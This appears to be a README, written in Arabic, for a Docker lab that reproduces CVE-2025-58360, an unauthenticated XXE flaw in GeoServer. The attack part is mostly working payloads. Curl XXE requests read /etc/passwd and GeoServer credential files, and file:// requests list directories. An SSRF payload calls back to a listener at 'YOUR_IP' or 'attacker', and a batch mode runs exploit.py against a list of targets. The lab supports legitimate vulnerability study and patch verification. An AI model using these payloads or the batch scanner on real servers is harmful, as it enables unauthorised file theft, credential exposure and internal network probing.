
مختبر قائم على Docker يوضح CVE-2025-58360، وهو حقن XXE غير مصرح به وخطير في خدمات GeoServer WMS/OWS. يشمل سكربت استغلال لقراءة الملفات، SSRF، وتعداد الدلائل.
حقن كيان خارجي XML (XXE) بدون مصادقة في خدمات GeoServer OWS/WMS
CVSS: 9.8 خطير
الإصدارات المتأثرة: <= 2.25.5, 2.26.0-2.26.1
الإصدارات المُصلَحة: 2.25.6+, 2.26.2+, 2.27.0+
يوضح هذا المختبر CVE-2025-58360، وهي ثغرة XXE حرجة في معالجة طلبات XML لـ WMS/OWS في GeoServer. تسمح الثغرة للمهاجمين غير المصادق عليهم بـ:
طريقة SLDParser.parseSLD() في GeoServer تعالج مستندات تنسيق XML دون قيود مناسبة لحل الكيانات. بينما يستخدم موزع OWS AllowListEntityResolver لحظر XXE، فإن مسار كود تحليل SLD يتجاوز هذه الحماية:
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| OWS Dispatcher | <-- EntityResolver configured
| (Detects SLD in body) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- NO EntityResolver!
+-----------------------------+
|
v
XXE RESOLVED -> File/SSRF
# Start both vulnerable and patched instances
docker-compose up -d
# Vulnerable: http://localhost:8080/geoserver
# Patched: http://localhost:8081/geoserver
# Wait ~60 seconds for startup
بيانات الاعتماد الافتراضية: admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
الاستجابة الضعيفة:
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
الاستجابة المُصلَحة:
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
معالج file:// في Java يقرأ الدلائل كقوائم ملفات مفصولة بأسطر جديدة:
# List root directory
python3 exploit.py -u http://localhost:8080 --file /
# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
المخرجات:
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
يسمح هذا بتعداد كامل لنظام الملفات قبل استهداف ملفات محددة.
# Start listener
nc -lvnp 9999
# Send payload
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# Version check
python3 exploit.py -u http://localhost:8080
# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe
# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback
# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
قم بالترقية إلى GeoServer 2.25.6+ أو 2.26.2+ أو 2.27.0+
للاستخدام المصرح به في اختبار الأمان والأغراض التعليمية فقط.
El Perro Joke